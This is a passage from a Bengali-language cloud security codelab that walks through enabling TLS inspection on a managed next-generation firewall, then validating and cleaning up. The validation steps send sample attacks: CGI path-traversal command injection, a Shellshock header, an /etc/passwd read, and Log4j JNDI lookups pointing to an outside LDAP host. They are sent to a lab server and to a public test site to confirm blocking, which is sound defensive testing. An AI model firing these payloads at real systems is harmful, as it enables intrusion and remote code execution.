8. নর্থবাউন্ড এবং ই/ডব্লিউ সংযোগ যাচাই করুন

ক্লাউড শেলে নীচের কমান্ডগুলি চালান এবং লক্ষ্য আইপিগুলি ব্যবহার করতে নোট করুন:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

একটি নতুন ট্যাব খুলুন এবং IAP এর মাধ্যমে ক্লায়েন্ট VM-এর সাথে একটি SSH সংযোগ শুরু করুন (আপনাকে নতুন ট্যাবে ভেরিয়েবলগুলি সংজ্ঞায়িত করতে হবে):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নীচের কমান্ডগুলি চালান এবং লক্ষ্য আইপি ব্যবহার করতে নোট করুন। পূর্ববর্তী ধাপের উল্লেখিত আইপিগুলির সাথে বন্ধনীগুলির মধ্যে মানগুলি প্রতিস্থাপন করে ভেরিয়েবলগুলি তৈরি করুন এবং নিশ্চিত করুন যে সেগুলি পৌঁছানো যায়:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

ব্যক্তিগত আইপি কার্ল করুন এবং নিশ্চিত করুন যে এটি পৌঁছানো যায়:

curl https://$target_privateip --max-time 2

কার্ল অনুরোধের জন্য প্রত্যাশিত ফলাফল:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

আইপিতে নমুনা আক্রমণ পাঠান। ওয়েব সার্ভারের সমস্ত অনুরোধের জবাব দেওয়া উচিত, নিশ্চিত করে যে সেখানে কোনও L7 পরিদর্শন/প্রতিরোধ নেই:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

নমুনা প্রত্যাশিত ফলাফল (ব্যক্তিগত আইপি):

400
404
400
200
200

একইভাবে, একটি ইন্টারনেট গন্তব্যে অনুরোধ পাঠান:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

প্রত্যাশিত ফলাফলের নমুনা (ইন্টারনেট গন্তব্য):

400
404
400
403
403

VM টার্মিনাল থেকে প্রস্থান করুন এবং ক্লাউড শেল এ ফিরে যান।

9. TLS পরিদর্শনের জন্য ফায়ারওয়াল নিয়ম তৈরি এবং আপডেট করুন

পূর্বে, আমরা অভ্যন্তরীণ সাবনেট থেকে আমাদের সার্ভারে প্রবেশ ট্র্যাফিকের অনুমতি দেওয়ার জন্য একটি ফায়ারওয়াল নিয়ম কনফিগার করেছি। আমরা এখন বিদ্যমান প্রবেশের নিয়মগুলি আপডেট করব এবং অ্যাকশনটিকে apply_security_profile_group-এ সেট করব। এটি TLS এর সাথে E/W L7 পরিদর্শন সক্ষম করবে:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS দিয়ে উত্তরমুখী L7 পরিদর্শন পরিদর্শন করার জন্য একটি নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

দ্বিগুণ পরিদর্শন রোধ করতে E/W-এর জন্য EGRESS-এর অনুমতি দেওয়ার জন্য একটি নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. উত্তরমুখী TLS পরিদর্শন বৈধ করা

ক্লায়েন্ট VM ট্যাবে ফিরে যান বা আবার সংযোগ করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

একটি ইন্টারনেট গন্তব্যে নমুনা আক্রমণ পাঠান:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

নিচের প্রত্যাশিত আউটপুট অনুযায়ী কোনো প্রতিক্রিয়া পাওয়া যায় না, এটি নিশ্চিত করে যে নমুনা আক্রমণগুলি এখন ব্লক করা হচ্ছে:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

আগে থেকে সার্ভার আইপিতে ভেরিয়েবল সেট করুন:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

সার্ভারে নমুনা TLS অনুরোধ পাঠান:

curl https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

কেন এই অনুরোধ ব্যর্থ হয়েছে? এর কারণ হল ফায়ারওয়াল সার্ভার থেকে একটি শংসাপত্র গ্রহণ করছে যার কোন বিশ্বাস নেই। এটি ঘটলে, এটি একটি স্ব-স্বাক্ষরিত শংসাপত্র ক্লায়েন্টকে ফেরত দেবে। বিশ্বাস সক্ষম করার জন্য আমাদের একটি ট্রাস্ট কনফিগারেশনের অংশ হিসাবে CA শংসাপত্র যোগ করতে হবে।

ক্লাউড শেল এ ফিরে যান।

11. ট্রাস্ট কনফিগার কনফিগার করুন

রুট CA শংসাপত্র পান এবং সঠিক বিন্যাস সহ একটি পরিবর্তনশীল হিসাবে সেট করুন।

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

ট্রাস্ট কনফিগার YAML ফাইল কনফিগার করুন। এই ফাইলটিতে CA শংসাপত্রের মতো বিশ্বাসের বিবরণ রয়েছে:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

উপরের কমান্ডগুলিতে আপনার রুট CA শংসাপত্রকে ট্রাস্ট স্টোরের অংশ হিসাবে অন্তর্ভুক্ত করা হয়েছে যেহেতু আপনার সার্ভার শংসাপত্রটি Root CA ব্যবহার করে স্বাক্ষরিত হয়েছিল৷ এর মানে ফায়ারওয়াল আপনার রুট CA-এর দ্বারা স্বাক্ষরিত যে কোনও সার্টিফিকেট প্রাপ্তির উপর বিশ্বাস করবে - যদি আপনার TLS নীতিতেPublicCaSet বাদ দিয়ে মিথ্যা হয়।

ট্রাস্ট কনফিগারের বিষয়বস্তু পরীক্ষা করুন।

cat trust_config.yaml 

নমুনা আউটপুট:

শংসাপত্রের ইন্ডেন্টেশন প্রান্তিককরণের দিকে মনোযোগ দিন। এটা ঠিক এই বিন্যাস অনুসরণ করা আবশ্যক.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

বিশ্বাস কনফিগার আমদানি করুন:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

ট্রাস্ট কনফিগারেশন অন্তর্ভুক্ত করতে TLS নীতি YAML ফাইল আপডেট করুন:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

আপডেট করা TLS নীতি আমদানি করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. E/W TLS পরিদর্শন যাচাই করা

আপডেট করা ট্রাস্ট কনফিগারেশনের সাথে E/W ট্রাফিক পরীক্ষা করতে ক্লায়েন্টের কাছে SSH ফিরে যান:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

সার্ভারে নমুনা TLS অনুরোধ চালান:

curl https://$target_privateip --max-time 2

আপনি যদি এখনও নীচের আউটপুট পান, অনুগ্রহ করে আপডেটগুলি প্রচারের জন্য অপেক্ষা করুন৷

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

প্রত্যাশিত আউটপুট:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

সার্ভারে দূষিত পরীক্ষার ট্রাফিক পাঠান:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

নীচের প্রত্যাশিত আউটপুট অনুযায়ী কোন প্রতিক্রিয়া পাওয়া যায় না, এটি নিশ্চিত করে যে নমুনা আক্রমণগুলি এখন E/W এর জন্য ব্লক করা হচ্ছে।

13. লগিং

ক্লাউড কনসোলের মাধ্যমে লগিং > লগ এক্সপ্লোরার-এ নেভিগেট করুন, নীচের ফিল্টারটি প্রবেশ করুন এবং লগগুলি জিজ্ঞাসা করুন৷ আপনার প্রজেক্ট_আইডি দিয়ে [PROJECT_ID] প্রতিস্থাপন করুন:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ লগ এন্ট্রিগুলিকে নীচের মত অনুরূপ দেখা উচিত:

5b68cc1063c0f4bd.png

লগ এন্ট্রিগুলি প্রসারিত করুন এবং লক্ষ্য করুন যে ক্লায়েন্ট vm থেকে সার্ভারে প্রেরিত আক্রমণগুলি চিহ্নিত এবং অবরুদ্ধ করা হয়েছিল ( Apache Log4j রিমোট কোড এক্সিকিউশন দুর্বলতা নীচের স্ক্রিনশট অনুসারে)।

478f18f8481e90ed.png

আপনি দূষিত অনুরোধগুলিকে ব্লক করতে TLS পরিদর্শন সহ ক্লাউড NGFW এন্টারপ্রাইজ সফলভাবে স্থাপন করেছেন৷

পরিষ্কার করার পদক্ষেপের জন্য পরবর্তী বিভাগে যান।

14. ক্লিন-আপ পদক্ষেপ

বেস সেটআপ ক্লিন-আপ

দৃষ্টান্তগুলি সরান:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

ট্যাগঅ্যাডমিন এবং ট্যাগ ব্যবহারকারীর ভূমিকা পরিবর্তন করা হলে নীচের পদক্ষেপগুলি সম্পাদন করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

ট্যাগ কী এবং মানগুলি সরান:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ক্লাউড ফায়ারওয়াল নেটওয়ার্ক নীতি এবং অ্যাসোসিয়েশন সরান:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ক্লাউড রাউটার এবং ক্লাউড NAT মুছুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

সংরক্ষিত IP ঠিকানা মুছুন:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ক্লাউড ফায়ারওয়াল এসপিজি, অ্যাসোসিয়েশন এবং টিএলএস ক্লিন-আপ

এই ক্রমে নিরাপত্তা প্রোফাইল গ্রুপ এবং হুমকি প্রোফাইল মুছুন:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশন মুছুন:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট মুছুন, যা প্রায় 20 মিনিট সময় নিতে পারে:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

ঐচ্ছিকভাবে, নিশ্চিত করুন যে ক্লাউড NGFW এন্ডপয়েন্টটি নীচের কমান্ডটি চালিয়ে মুছে ফেলা হয়েছে:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

শেষবিন্দুর জন্য রাষ্ট্রটি দেখাতে হবে:

STATE: DELETING

সম্পূর্ণ হলে, শেষবিন্দু আর তালিকাভুক্ত হবে না।

এই ক্রমে TLS নীতি এবং ট্রাস্ট কনফিগ মুছুন:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

রুট CA এবং CA পুল নিষ্ক্রিয় করুন এবং মুছুন:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

সাবনেট এবং ভিপিসি ক্লিন-আপ

অবশেষে, সাবনেট এবং ভিপিসি নেটওয়ার্ক মুছুন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. অভিনন্দন!

অভিনন্দন, আপনি ইস্ট-ওয়েস্ট এবং নর্থবাউন্ড TLS ইন্সপেকশন কোডল্যাবের জন্য ক্লাউড NGFW এন্টারপ্রাইজ সফলভাবে সম্পন্ন করেছেন।